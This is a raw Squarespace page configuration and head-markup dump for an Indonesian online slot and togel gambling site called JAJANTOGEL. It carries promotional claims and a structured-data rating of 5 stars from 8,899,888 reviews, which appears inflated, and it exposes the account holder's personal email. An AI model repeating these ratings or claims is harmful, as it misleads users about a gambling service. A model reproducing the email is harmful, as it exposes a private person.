"//assets.squarespace.com/universal/styles-compressed/custom-css-popup-26d04dbeb2734b75ab66-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/custom-css-popup-c382f88a8b4030eaba9e-min.en-US.js" }, "squarespace-dialog": { "css": "//assets.squarespace.com/universal/styles-compressed/dialog-081be79078914b908a1a-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/dialog-220dee7ab3c67003a735-min.en-US.js" }, "squarespace-events-collection": { "css": "//assets.squarespace.com/universal/styles-compressed/events-collection-0e361398b7723c9dc63e-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/events-collection-5e7e2c69c45256595707-min.en-US.js" }, "squarespace-form-rendering-utils": { "js": "//assets.squarespace.com/universal/scripts-compressed/form-rendering-utils-ff99e57a9b46f1df69cb-min.en-US.js" }, "squarespace-forms": { "css": "//assets.squarespace.com/universal/styles-compressed/forms-8d93ba2c12ff0765b64c-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/forms-d654c3315c889be0f1a5-min.en-US.js" }, "squarespace-gallery-collection-list": { "css": "//assets.squarespace.com/universal/styles-compressed/gallery-collection-list-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/gallery-collection-list-5f8358cf7b510b32fc49-min.en-US.js" }, "squarespace-image-zoom": { "css": "//assets.squarespace.com/universal/styles-compressed/image-zoom-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/image-zoom-d0c90be829ba36cb62cc-min.en-US.js" }, "squarespace-pinterest": { "css": "//assets.squarespace.com/universal/styles-compressed/pinterest-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/pinterest-a6dbcb964bd882c42ef0-min.en-US.js" }, "squarespace-popup-overlay": { "css": "//assets.squarespace.com/universal/styles-compressed/popup-overlay-b2bf7df4402e207cd72c-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/popup-overlay-ce3ac44a00dabe47927e-min.en-US.js" }, "squarespace-product-quick-view": { "css": "//assets.squarespace.com/universal/styles-compressed/product-quick-view-4aec27f1bd826750e9db-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/product-quick-view-f9b8478c52e3b704a64f-min.en-US.js" }, "squarespace-products-collection-item-v2": { "css": "//assets.squarespace.com/universal/styles-compressed/products-collection-item-v2-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/products-collection-item-v2-a96b3f54dd47a01900f6-min.en-US.js" }, "squarespace-products-collection-list-v2": { "css": "//assets.squarespace.com/universal/styles-compressed/products-collection-list-v2-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/products-collection-list-v2-0c340509add53a698500-min.en-US.js" }, "squarespace-search-page": { "css": "//assets.squarespace.com/universal/styles-compressed/search-page-dcc0462e30efbd6dc562-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/search-page-03ccda685ca48569888b-min.en-US.js" }, "squarespace-search-preview": { "js": "//assets.squarespace.com/universal/scripts-compressed/search-preview-6cd27bde4d88d4f26743-min.en-US.js" }, "squarespace-simple-liking": { "css": "//assets.squarespace.com/universal/styles-compressed/simple-liking-a9eb87c1b73b199ce387-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/simple-liking-6a6862d5ff0df1b9784e-min.en-US.js" }, "squarespace-social-buttons": { "css": "//assets.squarespace.com/universal/styles-compressed/social-buttons-98ee3a678d356d849b76-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/social-buttons-4e176f98e042b90d7db4-min.en-US.js" }, "squarespace-tourdates": { "css": "//assets.squarespace.com/universal/styles-compressed/tourdates-0106e2d3707028a62a85-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/tourdates-463b5b9532edddc3565e-min.en-US.js" }, "squarespace-website-overlays-manager": { "css": "//assets.squarespace.com/universal/styles-compressed/website-overlays-manager-6dfb472f441e39d78b13-min.en-US.css", "js": "//assets.squarespace.com/universal/scripts-compressed/website-overlays-manager-cbf06aa21f2440307e01-min.en-US.js" } }, "pageType": 50, "website": { "id": "65fd0f981ec2594cc8fa0178", "identifier": "flamingo-elk-f2ll", "websiteType": 1, "contentModifiedOn": 1711083626706, "cloneable": false, "hasBeenCloneable": false, "siteStatus": { "value": 3, "expiration": 1712293016383 }, "language": "en-US", "timeZone": "Asia/Jakarta", "machineTimeZoneOffset": 25200000, "timeZoneOffset": 25200000, "timeZoneAbbr": "WIB", "siteTitle": "JAJANTOGEL", "fullSiteTitle": "JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral \u2014 JAJANTOGEL", "siteDescription": { "html": "", "raw": false }, "logoImageId": "65fd10a47559c83021e276b0", "shareButtonOptions": { "1": true, "3": true, "4": true, "6": true, "8": true, "7": true, "2": true }, "logoImageUrl": "https://i.gyazo.com/28f4bedf2e1a23e887b9d987438518a1.gif", "authenticUrl": "https://sulfurlamp.com/", "internalUrl": "https://sulfurlamp.com/", "baseUrl": "https://sulfurlamp.com/", "sslSetting": 3, "isHstsEnabled": true, "createdOn": 1711083416383, "templateId": "5c5a519771c10ba3470d8101", "installationId": "65fd0f981ec2594cc8fa0180", "templateWebsiteId": "624b3c6dfa94ce68f1db3837", "hasPassword": false, "typekitId": "", "statsMigrated": false, "imageMetadataProcessingEnabled": false, "revalidateBefore": 1711083687852, "captchaSettings": { "enabledForDonations": false }, "showOwnerLogin": true }, "websiteSettings": { "id": "65fd0f981ec2594cc8fa017b", "websiteId": "65fd0f981ec2594cc8fa0178", "subjects": [], "country": "ID", "state": "JK", "simpleLikingEnabled": true, "mobileInfoBarSettings": { "isContactEmailEnabled": false, "isContactPhoneNumberEnabled": false, "isLocationEnabled": false, "isBusinessHoursEnabled": false }, "commentLikesAllowed": true, "commentAnonAllowed": true, "commentThreaded": true, "commentApprovalRequired": false, "commentAvatarsOn": true, "commentSortType": 2, "commentFlagThreshold": 0, "commentFlagsAllowed": true, "commentEnableByDefault": true, "commentDisableAfterDaysDefault": 0, "disqusShortname": "", "commentsEnabled": false, "storeSettings": { "returnPolicy": { "raw": false }, "termsOfService": { "raw": false }, "privacyPolicy": { "raw": false }, "storeMailingList": { "connected": false, "list": "", "useSingleOptIn": false }, "expressCheckout": false, "continueShoppingLinkUrl": "/", "testModeOn": true, "useLightCart": false, "showNoteField": false, "shippingCountryDefaultValue": "US", "billToShippingDefaultValue": false, "showShippingPhoneNumber": true, "isShippingPhoneRequired": false, "showBillingPhoneNumber": true, "isBillingPhoneRequired": false, "currenciesSupported": ["USD", "CAD", "GBP", "AUD", "EUR", "CHF", "NOK", "SEK", "DKK", "NZD", "SGD", "MXN", "HKD", "CZK", "ILS", "MYR", "RUB", "PHP", "PLN", "THB", "BRL", "ARS", "COP", "IDR", "INR", "JPY", "ZAR"], "defaultCurrency": "USD", "selectedCurrency": "IDR", "measurementStandard": 1, "showCustomCheckoutForm": false, "checkoutPageMarketingOptInEnabled": true, "enableMailingListOptInByDefault": false, "isApplePayEnabled": false, "isPaymentRequestEnabled": true, "sameAsRetailLocation": false, "merchandisingSettings": { "scarcityEnabledOnProductItems": false, "scarcityEnabledOnProductBlocks": false, "scarcityMessageType": "DEFAULT_SCARCITY_MESSAGE", "scarcityThreshold": 10, "merchantLowStockAlertThreshold": 5, "multipleQuantityAllowedForServices": true, "restockNotificationsEnabled": false, "restockNotificationsMailingListSignUpEnabled": false, "relatedProductsEnabled": false, "relatedProductsOrdering": "random", "soldOutVariantsDropdownDisabled": false, "productComposerOptedIn": false, "productComposerABTestOptedOut": false, "productReviewsEnabled": false }, "minimumOrderSubtotalEnabled": false, "minimumOrderSubtotal": { "currency": "IDR", "value": "0.00" }, "instagramShoppingLinkDestination": 1, "storeMigratedToProductCollections2_0": false, "isLive": false, "multipleQuantityAllowedForServices": true }, "useEscapeKeyToLogin": false, "ssBadgeType": 1, "ssBadgePosition": 4, "ssBadgeVisibility": 1, "ssBadgeDevices": 1, "pinterestOverlayOptions": { "mode": "disabled" }, "ampEnabled": false, "userAccountsSettings": { "loginAllowed": false, "signupAllowed": false } }, "cookieSettings": { "isCookieBannerEnabled": false, "isRestrictiveCookiePolicyEnabled": false, "isRestrictiveCookiePolicyAbsolute": false, "cookieBannerText": "", "cookieBannerTheme": "", "cookieBannerVariant": "", "cookieBannerPosition": "", "cookieBannerCtaVariant": "", "cookieBannerCtaText": "", "cookieBannerAcceptType": "OPT_IN", "cookieBannerOptOutCtaText": "", "cookieBannerHasOptOut": false, "cookieBannerHasManageCookies": true, "cookieBannerManageCookiesLabel": "" }, "websiteCloneable": false, "collection": { "title": "Store", "id": "65fd0fc2aa1d0858f5af2fe4", "fullUrl": "/store", "type": 13, "permissionType": 1 }, "item": { "title": "JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral", "id": "65fd0fc7db01f63c712f258e", "fullUrl": "/store", "publicCommentCount": 0, "commentState": 1, "recordType": 11 }, "subscribed": false, "appDomain": "squarespace.com", "templateTweakable": true, "tweakJSON": { "form-use-theme-colors": "false", "header-logo-height": "50px", "header-mobile-logo-max-height": "30px", "header-vert-padding": "2vw", "header-width": "Inset", "maxPageWidth": "1800px", "pagePadding": "3vw", "tweak-blog-alternating-side-by-side-image-aspect-ratio": "1:1 Square", "tweak-blog-alternating-side-by-side-image-spacing": "6%", "tweak-blog-alternating-side-by-side-meta-spacing": "20px", "tweak-blog-alternating-side-by-side-primary-meta": "Categories", "tweak-blog-alternating-side-by-side-read-more-spacing": "20px", "tweak-blog-alternating-side-by-side-secondary-meta": "Date", "tweak-blog-basic-grid-columns": "2", "tweak-blog-basic-grid-image-aspect-ratio": "3:2 Standard", "tweak-blog-basic-grid-image-spacing": "50px", "tweak-blog-basic-grid-meta-spacing": "37px", "tweak-blog-basic-grid-primary-meta": "Categories", "tweak-blog-basic-grid-read-more-spacing": "37px", "tweak-blog-basic-grid-secondary-meta": "Date", "tweak-blog-item-custom-width": "50", "tweak-blog-item-show-author-profile": "true", "tweak-blog-item-width": "Medium", "tweak-blog-masonry-columns": "2", "tweak-blog-masonry-horizontal-spacing": "30px", "tweak-blog-masonry-image-spacing": "20px", "tweak-blog-masonry-meta-spacing": "20px", "tweak-blog-masonry-primary-meta": "Categories", "tweak-blog-masonry-read-more-spacing": "20px", "tweak-blog-masonry-secondary-meta": "Date", "tweak-blog-masonry-vertical-spacing": "30px", "tweak-blog-side-by-side-image-aspect-ratio": "1:1 Square", "tweak-blog-side-by-side-image-spacing": "6%", "tweak-blog-side-by-side-meta-spacing": "20px", "tweak-blog-side-by-side-primary-meta": "Categories", "tweak-blog-side-by-side-read-more-spacing": "20px", "tweak-blog-side-by-side-secondary-meta": "Date", "tweak-blog-single-column-image-spacing": "50px", "tweak-blog-single-column-meta-spacing": "30px", "tweak-blog-single-column-primary-meta": "Categories", "tweak-blog-single-column-read-more-spacing": "30px", "tweak-blog-single-column-secondary-meta": "Date", "tweak-events-stacked-show-thumbnails": "true", "tweak-events-stacked-thumbnail-size": "3:2 Standard", "tweak-fixed-header": "true", "tweak-fixed-header-style": "Basic", "tweak-global-animations-animation-curve": "ease", "tweak-global-animations-animation-delay": "1.0s", "tweak-global-animations-animation-duration": "0.80s", "tweak-global-animations-animation-style": "fade", "tweak-global-animations-animation-type": "none", "tweak-global-animations-complexity-level": "detailed", "tweak-global-animations-enabled": "false", "tweak-portfolio-grid-basic-custom-height": "50", "tweak-portfolio-grid-overlay-custom-height": "50", "tweak-portfolio-hover-follow-acceleration": "10%", "tweak-portfolio-hover-follow-animation-duration": "Medium", "tweak-portfolio-hover-follow-animation-type": "Fade", "tweak-portfolio-hover-follow-delimiter": "Forward Slash", "tweak-portfolio-hover-follow-front": "false", "tweak-portfolio-hover-follow-layout": "Inline", "tweak-portfolio-hover-follow-size": "75", "tweak-portfolio-hover-follow-text-spacing-x": "1.5", "tweak-portfolio-hover-follow-text-spacing-y": "1.5", "tweak-portfolio-hover-static-animation-duration": "Medium", "tweak-portfolio-hover-static-animation-type": "Scale Up", "tweak-portfolio-hover-static-delimiter": "Forward Slash", "tweak-portfolio-hover-static-front": "false", "tweak-portfolio-hover-static-layout": "Stacked", "tweak-portfolio-hover-static-size": "75", "tweak-portfolio-hover-static-text-spacing-x": "1.5", "tweak-portfolio-hover-static-text-spacing-y": "1.5", "tweak-portfolio-index-background-animation-duration": "Medium", "tweak-portfolio-index-background-animation-type": "Fade", "tweak-portfolio-index-background-custom-height": "50", "tweak-portfolio-index-background-delimiter": "None", "tweak-portfolio-index-background-height": "Large", "tweak-portfolio-index-background-horizontal-alignment": "Center", "tweak-portfolio-index-background-link-format": "Stacked", "tweak-portfolio-index-background-persist": "false", "tweak-portfolio-index-background-vertical-alignment": "Middle", "tweak-portfolio-index-background-width": "Full", "tweak-product-basic-item-click-action": "None", "tweak-product-basic-item-gallery-aspect-ratio": "2:3 Standard (Vertical)", "tweak-product-basic-item-gallery-design": "Slideshow", "tweak-product-basic-item-gallery-width": "44%", "tweak-product-basic-item-hover-action": "None", "tweak-product-basic-item-image-spacing": "10vw", "tweak-product-basic-item-image-zoom-factor": "3", "tweak-product-basic-item-product-variant-display": "Button", "tweak-product-basic-item-thumbnail-placement": "Side", "tweak-product-basic-item-variant-picker-layout": "Dropdowns", "tweak-products-add-to-cart-button": "false", "tweak-products-columns": "3", "tweak-products-gutter-column": "10vw", "tweak-products-gutter-row": "3vw", "tweak-products-header-text-alignment": "Middle", "tweak-products-image-aspect-ratio": "3:4 Three-Four (Vertical)", "tweak-products-image-text-spacing": "1.5vw", "tweak-products-mobile-columns": "2", "tweak-products-text-alignment": "Middle", "tweak-products-width": "Inset", "tweak-transparent-header": "true" }, "templateId": "5c5a519771c10ba3470d8101", "templateVersion": "7.1", "pageFeatures": [1, 2, 4], "gmRenderKey": "QUl6YVN5Q0JUUk9xNkx1dkZfSUUxcjQ2LVQ0QWVUU1YtMGQ3bXk4", "templateScriptsRootUrl": "https://static1.squarespace.com/static/vta/5c5a519771c10ba3470d8101/scripts/", "betaFeatureFlags": ["content_ai_brand_identity", "campaigns_thumbnail_layout", "blog_monetization", "unify_edit_mode_p2", "hideable_header_footer_for_videos", "send_local_pickup_ready_email", "visitor_react_forms", "toggle_preview_new_shortcut", "commsplat_forms_visitor_profile", "viewer-role-contributor-invites", "website_form_effects", "header_usability_improvements", "commerce_checkout_website_updates_enabled", "fluid_engine_clean_up_grid_contextual_change", "fluid_engine_default_mobile_order", "commerce_clearpay", "summary_block_video_collections", "commerce_order_status_access", "customer_accounts_email_verification", "campaigns_discount_section_in_blasts", "unify_edit_mode_p1", "enable_css_variable_tweaks", "website_fonts", "background_art_onboarding", "campaigns_new_image_layout_picker", "supports_versioned_template_assets", "commerce_site_visitor_metrics", "google_consent_v2", "pdp_product_add_ons_visitor_site", "react_pages_panel", "rte_text_justify_align", "commerce_restock_notifications", "rewrite_transactional_email_from_address", "hide_header_footer_beta", "customer_account_creation_recaptcha", "seven_one_migration_updated_kb_links", "show_mobile_column_in_plp_editor", "template_translation_english_fallbacks", "shape_block", "hideable_header_footer_for_courses", "commerce_etsy_shipping_import", "is_feature_gate_refresh_enabled", "themes", "website_form_improvements", "marketing_landing_page", "invoicing-on-personal-plans", "campaigns_import_discounts", "commerce_etsy_product_import", "campaigns_global_uc_ab", "sticky_scroll", "collection_typename_switching", "override_block_styles", "scripts_defer", "nested_categories", "link_editor_redesign", "member_areas_feature", "fluid_engine", "campaigns_discount_section_in_automations", "accounting_orders_sync", "nested_categories_migration_enabled", "proposals_beta_in_circle_labs", "commerce_paywall_renewal_notifications", "new_stacked_index", "rte_text_highlights", "unify_edit_mode_p1_70", "container_styles_improvements", "fluid_engine_new_multiselect_actions", "commerce_subscription_renewal_notifications"], "videoAssetsFeatureFlags": ["mux-data-video-collection", "mux-data-course-collection"], "authenticatedAccount": { "id": "65c59c43aeb76a63df61000a", "tutorialsCompleted": { "has-seen-fluid-engine-mobile-changes-notification": true }, "notificationsRead": {}, "lastLoginOn": 1710053561233, "displayName": "situs togel 4d", "firstName": "Togel", "lastName": "Online", "eligibleForMarketingDiscount": false, "avatarUrl": "https://images.squarespace-cdn.com/content/v2/namespaces/memberAccountAvatars/libraries/65c59c43aeb76a63df61000a/eebe3831-3821-41a9-8818-bd08e148e29c/thirdPartyMemberAvatar-65c59c43aeb76a63df61000a-8626ef63-73bb-4e8a-9246-0b0e8a72310a?format=300w", "bio": "", "roles": {}, "email": "primahengkiki@gmail.com", "createdOn": 1707449411357, "marketingId": "8a89b7bf-913e-404f-8ced-d1dde4b91061", "avatarAssetUrl": "https://images.squarespace-cdn.com/content/v2/namespaces/memberAccountAvatars/libraries/65c59c43aeb76a63df61000a/eebe3831-3821-41a9-8818-bd08e148e29c/thirdPartyMemberAvatar-65c59c43aeb76a63df61000a-8626ef63-73bb-4e8a-9246-0b0e8a72310a?format=300w", "pseudonymAccount": false, "preferredLocale": "en-US" }, "authenticatedAccountWebsiteSettings": { "id": "65fd0f9fd4f37d0ac654bf8c" }, "permissions": { "permissions": { "1": true } }, "websiteRoles": { "1": true }, "accessPermissions": [1310, 1701, 1225, 1414, 1216, 1234, 1910, 1421, 1700, 1516, 1513, 1517, 1415, 1422, 1233, 1932, 1413, 1211, 1229, 1420, 1110, 1223, 1230, 1212, 1228, 12, 1210, 1512, 1111, 1226, 1418, 1214, 1419, 1912, 1112, 1410, 1224, 1611, 1921, 1219, 1220, 1311, 1423, 1515, 1612, 1213, 1411, 0, 1416, 1417, 15, 11, 13, 1412, 1930, 1931, 1911, 1514, 1610, 14, 1218, 1511, 1810, 1, 1510, 1221, 2066, 18, 1920, 1215, 1217], "memberAccountNames": { "65c59c43aeb76a63df61000a": { "avatarUrl": "https://images.squarespace-cdn.com/content/v2/namespaces/memberAccountAvatars/libraries/65c59c43aeb76a63df61000a/eebe3831-3821-41a9-8818-bd08e148e29c/thirdPartyMemberAvatar-65c59c43aeb76a63df61000a-8626ef63-73bb-4e8a-9246-0b0e8a72310a?format=300w", "bio": "", "displayName": "situs togel 4d" } }, "impersonatedSession": false, "demoCollections": [{ "collectionId": "624b3c75fa94ce68f1db3cfe", "deleted": false }, { "collectionId": "624b3c6dfa94ce68f1db3870", "deleted": false }, { "collectionId": "624b3c75fa94ce68f1db3ce1", "deleted": false }], "connectedAccounts": [], "tzData": { "zones": [[420, null, "WIB", null]], "rules": {} }, "product": { "variantAttributeNames": [], "variants": [{ "id": "28c210bc-2f66-4327-ac09-83b3f6cb6b13", "sku": "SQ1936194", "price": { "currencyCode": "IDR", "value": 888, "decimalValue": "10000.00", "fractionalDigits": 2 }, "salePrice": { "currencyCode": "IDR", "value": 0, "decimalValue": "0.00", "fractionalDigits": 2 }, "onSale": false, "stock": { "unlimited": true }, "attributes": {}, "shippingWeight": { "value": 0.0, "unit": "POUND" }, "shippingSize": { "unit": "INCH", "width": 0.0, "height": 0.0, "len": 0.0 } }], "subscribable": false, "fulfilledExternally": false, "productType": 1 }, "showAnnouncementBar": false, "recaptchaEnterpriseContext": { "recaptchaEnterpriseSiteKey": "6LdDFQwjAAAAAPigEvvPgEVbb7QBm-TkVJdDTlAv" }, "i18nContext": { "timeZoneData": { "id": "Asia/Jakarta", "name": "Western Indonesia Time" } } };</script> <script type="application/ld+json">{"url":"https://sulfurlamp.com/","name":"JAJANTOGEL","description":"","image":"https://i.gyazo.com/28f4bedf2e1a23e887b9d987438518a1.gif","@context":"http://schema.org","@type":"WebSite"}</script> <script type="application/ld+json">{"name":"JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral \u2014 JAJANTOGEL","image":"https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png","description":"JAJANTOGEL merupakan Situs Toto Togell online resmi yang menyediakan jackpot 4d resmi terbesar dengan jaminan keamanan untuk setiap transaksi anda.","brand":"JAJANTOGEL","offers":{"price":888.00,"priceCurrency":"IDR","url":"https://sulfurlamp.com/","availability":"InStock","sku":"SQ1936194","@context":"http://schema.org","@type":"Offer"},"@context":"http://schema.org","@type":"Product"}</script> <link rel="stylesheet" type="text/css" href="https://static1.squarespace.com/static/versioned-site-css/65fd0f981ec2594cc8fa0178/1/5c5a519771c10ba3470d8101/65fd0f981ec2594cc8fa0180/1506/site.css" /> <script>Static.COOKIE_BANNER_CAPABLE = true;</script> <!-- End of Squarespace Headers --> <style> @supports (-webkit-backdrop-filter: none) or (backdrop-filter: none) { .header-blur-background {} } .ProductItem-gallery-slides-item.selected.going-next.loaded.next-loaded.prev-loaded { width: auto; height: auto; } .tweak-fixed-header .header .header-announcement-bar-wrapper { background: linear-gradient(89.87deg, #072557 35.41%, #04011b 121.72%); } .collection-type-products .ProductItem-details h1.ProductItem-details-title { font-family: exo; } footer#footer-sections { background: linear-gradient(89.87deg, #072557 35.41%, #072557 121.72%); color: white; font-family: arial; text-align: center; padding: 30px 0px 30px 0px; } .products.collection-content-wrapper { padding-bottom: 0vw; } .ProductItem { padding-bottom: 0vw; } .header-nav-item.header-nav-item--collection a, .header-nav-item.header-nav-item--collection.header-nav-item--active a { color: white; } .n-columns-2 { display: grid; grid-template-columns: repeat(2,1fr); font-weight: 700; } .n-columns-2 a { text-align: center; } .login, .register { color: #fff; padding: 13px 10px; } .login, .login-button { background: linear-gradient(to bottom, #04011b 0%, #072557 100%); border: 2px solid #04011b; box-shadow: 0px 0px 3px #04011b; } .register, .register-button { background: linear-gradient(to bottom, #072557 0%, #04011b 100%); border: 2px solid #04011b; box-shadow: 0px 0px 3px #04011b; } </style> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "SoftwareApplication", "name": "JAJANTOGEL", "operatingSystem": "ANDROID", "applicationCategory": "GameApplication", "aggregateRating": { "@type": "AggregateRating", "ratingValue": "5", "ratingCount": "8899888" }, "offers": { "@type": "Offer", "price": "0.00", "priceCurrency": "IDR" } } </script> <script type="text/javascript" src="/yhBH4lnOjWpDoOUq"></script><script type="text/javascript" src="/09Vl3QKvrlWHz-tR"></script></head> <body id="item-65fd0fc7db01f63c712f258e" class=" primary-button-style-solid primary-button-shape-square secondary-button-style-outline secondary-button-shape-square tertiary-button-style-solid tertiary-button-shape-square form-field-style-solid form-field-shape-square form-field-border-all form-field-checkbox-type-icon form-field-checkbox-fill-solid form-field-checkbox-color-inverted form-field-checkbox-shape-square form-field-checkbox-layout-stack form-field-radio-type-icon form-field-radio-fill-solid form-field-radio-color-normal form-field-radio-shape-pill form-field-radio-layout-stack form-field-survey-fill-solid form-field-survey-color-normal form-field-survey-shape-pill form-field-hover-focus-outline form-submit-button-style-label header-overlay-alignment-center header-width-inset tweak-transparent-header tweak-fixed-header tweak-fixed-header-style-basic tweak-blog-alternating-side-by-side-width-full tweak-blog-alternating-side-by-side-image-aspect-ratio-11-square tweak-blog-alternating-side-by-side-text-alignment-left tweak-blog-alternating-side-by-side-read-more-style-show tweak-blog-alternating-side-by-side-image-text-alignment-middle tweak-blog-alternating-side-by-side-delimiter-bullet tweak-blog-alternating-side-by-side-meta-position-top tweak-blog-alternating-side-by-side-primary-meta-categories tweak-blog-alternating-side-by-side-secondary-meta-date tweak-blog-alternating-side-by-side-excerpt-show tweak-blog-basic-grid-width-full tweak-blog-basic-grid-image-aspect-ratio-32-standard tweak-blog-basic-grid-text-alignment-left tweak-blog-basic-grid-delimiter-bullet tweak-blog-basic-grid-image-placement-above tweak-blog-basic-grid-read-more-style-show tweak-blog-basic-grid-primary-meta-categories tweak-blog-basic-grid-secondary-meta-date tweak-blog-basic-grid-excerpt-show tweak-blog-item-width-medium tweak-blog-item-text-alignment-left tweak-blog-item-meta-position-above-title tweak-blog-item-show-categories tweak-blog-item-show-date tweak-blog-item-show-author-name tweak-blog-item-show-author-profile tweak-blog-item-delimiter-bullet tweak-blog-masonry-width-full tweak-blog-masonry-text-alignment-left tweak-blog-masonry-primary-meta-categories tweak-blog-masonry-secondary-meta-date tweak-blog-masonry-meta-position-top tweak-blog-masonry-read-more-style-show tweak-blog-masonry-delimiter-space tweak-blog-masonry-image-placement-above tweak-blog-masonry-excerpt-show tweak-blog-side-by-side-width-full tweak-blog-side-by-side-image-placement-left tweak-blog-side-by-side-image-aspect-ratio-11-square tweak-blog-side-by-side-primary-meta-categories tweak-blog-side-by-side-secondary-meta-date tweak-blog-side-by-side-meta-position-top tweak-blog-side-by-side-text-alignment-left tweak-blog-side-by-side-image-text-alignment-middle tweak-blog-side-by-side-read-more-style-show tweak-blog-side-by-side-delimiter-bullet tweak-blog-side-by-side-excerpt-show tweak-blog-single-column-width-full tweak-blog-single-column-text-alignment-center tweak-blog-single-column-image-placement-above tweak-blog-single-column-delimiter-bullet tweak-blog-single-column-read-more-style-show tweak-blog-single-column-primary-meta-categories tweak-blog-single-column-secondary-meta-date tweak-blog-single-column-meta-position-top tweak-blog-single-column-content-full-post tweak-events-stacked-width-full tweak-events-stacked-height-large tweak-events-stacked-show-thumbnails tweak-events-stacked-thumbnail-size-32-standard tweak-events-stacked-date-style-with-text tweak-events-stacked-show-time tweak-events-stacked-show-location tweak-events-stacked-show-excerpt tweak-global-animations-complexity-level-detailed tweak-global-animations-animation-style-fade tweak-global-animations-animation-type-none tweak-global-animations-animation-curve-ease tweak-portfolio-grid-basic-width-full tweak-portfolio-grid-basic-height-large tweak-portfolio-grid-basic-image-aspect-ratio-11-square tweak-portfolio-grid-basic-text-alignment-left tweak-portfolio-grid-basic-hover-effect-fade tweak-portfolio-grid-overlay-width-full tweak-portfolio-grid-overlay-height-large tweak-portfolio-grid-overlay-image-aspect-ratio-11-square tweak-portfolio-grid-overlay-text-placement-center tweak-portfolio-grid-overlay-show-text-after-hover tweak-portfolio-index-background-link-format-stacked tweak-portfolio-index-background-width-full tweak-portfolio-index-background-height-large tweak-portfolio-index-background-vertical-alignment-middle tweak-portfolio-index-background-horizontal-alignment-center tweak-portfolio-index-background-delimiter-none tweak-portfolio-index-background-animation-type-fade tweak-portfolio-index-background-animation-duration-medium tweak-portfolio-hover-follow-layout-inline tweak-portfolio-hover-follow-delimiter-forward-slash tweak-portfolio-hover-follow-animation-type-fade tweak-portfolio-hover-follow-animation-duration-medium tweak-portfolio-hover-static-layout-stacked tweak-portfolio-hover-static-delimiter-forward-slash tweak-portfolio-hover-static-animation-type-scale-up tweak-portfolio-hover-static-animation-duration-medium tweak-product-basic-item-product-variant-display-button tweak-product-basic-item-width-inset tweak-product-basic-item-gallery-aspect-ratio-23-standard-vertical tweak-product-basic-item-text-alignment-left tweak-product-basic-item-navigation-none tweak-product-basic-item-content-alignment-top tweak-product-basic-item-gallery-design-slideshow tweak-product-basic-item-gallery-placement-right tweak-product-basic-item-thumbnail-placement-side tweak-product-basic-item-click-action-none tweak-product-basic-item-hover-action-none tweak-product-basic-item-variant-picker-layout-dropdowns tweak-products-width-inset tweak-products-image-aspect-ratio-34-three-four-vertical tweak-products-text-alignment-middle tweak-products-price-hide tweak-products-nested-category-type-top tweak-products-header-text-alignment-middle tweak-products-breadcrumbs image-block-poster-text-alignment-left image-block-card-content-position-center image-block-card-text-alignment-left image-block-overlap-content-position-center image-block-overlap-text-alignment-left image-block-collage-content-position-center image-block-collage-text-alignment-left image-block-stack-text-alignment-left hide-opentable-icons opentable-style-dark tweak-product-quick-view-button-style-floating tweak-product-quick-view-button-position-bottom tweak-product-quick-view-lightbox-excerpt-display-truncate tweak-product-quick-view-lightbox-show-arrows tweak-product-quick-view-lightbox-show-close-button tweak-product-quick-view-lightbox-controls-weight-light native-currency-code-idr view-item collection-layout-default collection-type-products collection-65fd0fc2aa1d0858f5af2fe4 mobile-style-available sqs-seven-one show-pdp-product-add-ons " data-description="plp-mobile-editor-column" tabindex="-1"> <div id="siteWrapper" class="clearfix site-wrapper"> <header data-test="header" id="header" class=" header theme-col--primary " data-section-theme="" data-controller="Header" data-current-styles="{ "layout": "brandingCenter", "action": { "buttonText": "Get Started", "newWindow": false }, "showSocial": false, "socialOptions": { "socialBorderShape": "none", "socialBorderStyle": "outline", "socialBorderThickness": { "unit": "px", "value": 1.0 } }, "menuOverlayAnimation": "fade", "cartStyle": "cart", "cartText": "Cart", "showEmptyCartState": true, "cartOptions": { "iconType": "solid-7","cartBorderShape": "none", "cartBorderStyle": "outline", "cartBorderThickness": { "unit": "px", "value": 1.0 } }, "showButton": false, "showCart": true, "showAccountLogin": false, "headerStyle": "dynamic", "languagePicker": {"enabled": false, "iconEnabled": false, "iconType": "globe", "flagShape": "shiny", "languageFlags": [ ] }, "mobileOptions": { "layout": "logoCenterNavLeft", "menuIcon": "doubleLineHamburger", "menuIconOptions": { "style": "doubleLineHamburger", "thickness": { "unit": "px", "value": 1.0 } } }, "dynamicOptions": { "border": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } } }, "solidOptions": { "headerOpacity": { "unit": "%", "value": 100.0 }, "border": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "dropShadow": { "enabled": false, "blur": { "unit": "px", "value": 30.0 }, "spread": { "unit": "px", "value": 0.0 }, "distance": { "unit": "px", "value": 0.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "blurBackground": { "enabled": false, "blurRadius": { "unit": "px", "value": 12.0} }, "backgroundColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "white", "alphaModifier": 1.0 } }, "navigationColor": { "type": 